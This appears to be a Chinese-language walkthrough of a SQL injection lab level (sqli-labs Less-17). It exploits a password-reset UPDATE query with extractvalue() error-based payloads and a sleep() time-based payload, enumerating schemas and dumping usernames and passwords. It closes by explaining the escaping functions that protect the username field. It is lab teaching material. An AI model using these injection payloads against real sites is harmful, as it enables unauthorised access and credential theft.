本关我们可以看到是一个修改密码的过程,利用的是update语句,与在用select时是一样的,我们仅需要将原先的闭合,构造自己的payload。
尝试报错
Username:admin
Password:1'
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin'' at line 1
可以看到 admin'' 说明在对密码的处理过程中使用的是 ' 。
接下来利用盲注进行注入。
这里首先介绍一下如何使用extractvalue()函数进行报错注入。
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
正常查询 第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
select username from security.users where id=1 and (extractvalue('anything','/x/xx'));
使用concat()拼接 ‘ / ‘ 效果相同,下面语句是在’anything’中查询 位置是 /database()的内容
select username from security.users where id=1 and (extractvalue('anything',concat('/',(select database()))));
但这里也没有语法错误,不会报错,下面故意写入语法错误:
select username from security.users where id=1 and (extractvalue('anything',concat('~',(select database()))));
可以看出,以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。
有一点需要注意,extractvalue()能查询字符串的最大长度为32,就是说如果我们想要的结果超过32,就需要用substring()函数截取,一次查看32位
这里查询前5位示意:
select username from security.users where id=1 and (extractvalue('anything',concat('~',substring((select database()),1,5))));
好了,现在我们明白了原理,试一下吧。
首先获取database()的值
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select database()),0x7e))#&submit=Submit
其中0x7e是ASCII编码,解码结果为~。
接着可以利用select语句继续获取数据库中的库名、表名和字段名。查询语句与union注入的相同。因为报错注入只显示一条结果,所以需要使用limit语句限制查询结果,或者使用group_concat函数将查询结果打印在一行显示。
获取其他数据库的库名
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e)) #&submit=Submit
也可以使用group_concat(schema_name)一次性查询出所有的数据库库名
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e)) #&submit=Submit
如上图所示,由于结果只显示了前32位,我们可以使用substring()函数查看32位以后的数据
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),30,32),0x7e)) #&submit=Submit
获取当前数据库的表名
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #&submit=Submit
获取users表的字段名
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e)) #&submit=Submit
获取users表的内容
uname=admin&passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(username,0x3e,password) from users),0x7e)) #&submit=Submit
如上图所示会报错:You can't specify target table 'users' for update in FROM clause
不过我们可以使用这种方法爆破别的表
uname=admin &passwd=1' and extractvalue(1,concat(0x7e,(select group_concat(id,0x3a,email_id) from emails),0x7e)) #&submit=Submit
当然了,也可以用延时注入,也可以看到时间的延迟的明显效果
uname=admin&passwd=11'and If(ascii(substr(database(),1,1))=115,1,sleep(5))#&submit=Submit
其他的方式这里就不演示了。自行思考呦!~
提问:在看源代码的时候,先进行一次select语句,那为什么我们不从username处进行构造呢?
其实我们可以在源代码中看到一个函数。check_input()函数。
function check_input($value) { if(!empty($value)) { // truncation (see comments) $value = substr($value,0,15); } // Stripslashes if magic quotes enabled if (get_magic_quotes_gpc()) { $value = stripslashes($value); } // Quote if not a number if (!ctype_digit($value)) { $value = "'" . mysql_real_escape_string($value) . "'"; } else { $value = intval($value); } return $value; }
这里我们介绍几个函数你就明白了。
★addslashes()
addslashes() 函数返回在预定义字符之前添加反斜杠的字符串。
预定义字符是:
-
单引号(')
-
双引号(")
-
反斜杠()
-
NULL
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
注释:默认地,PHP 对所有的 GET、POST 和 COOKIE 数据自动运行 addslashes()。所以您不应对已转义过的字符串使用 addslashes(),因为这样会导致双层转义。遇到这种情况时可以使用函数 get_magic_quotes_gpc() 进行检测。
语法:addslashes(string)
参数 |
描述 |
string |
必需。规定要转义的字符串。 |
返回值: |
返回已转义的字符串。 |
PHP 版本: |
4+ |
★stripslashes()
函数删除由 addslashes() 函数添加的反斜杠。
★mysql_real_escape_string()
函数转义 SQL 语句中使用的字符串中的特殊字符。
下列字符受影响:
-
x00
-
-
-
'
-
"
-
x1a
如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。
语法:mysql_real_escape_string(string,connection)
参数 |
描述 |
string |
必需。规定要转义的字符串。 |
connection |
可选。规定 MySQL 连接。如果未规定,则使用上一个连接。 |
说明:本函数将 string 中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()。
在我们less17的check_input()中,对username进行各种转义的处理,所以此处不能使用username进行注入。
参考: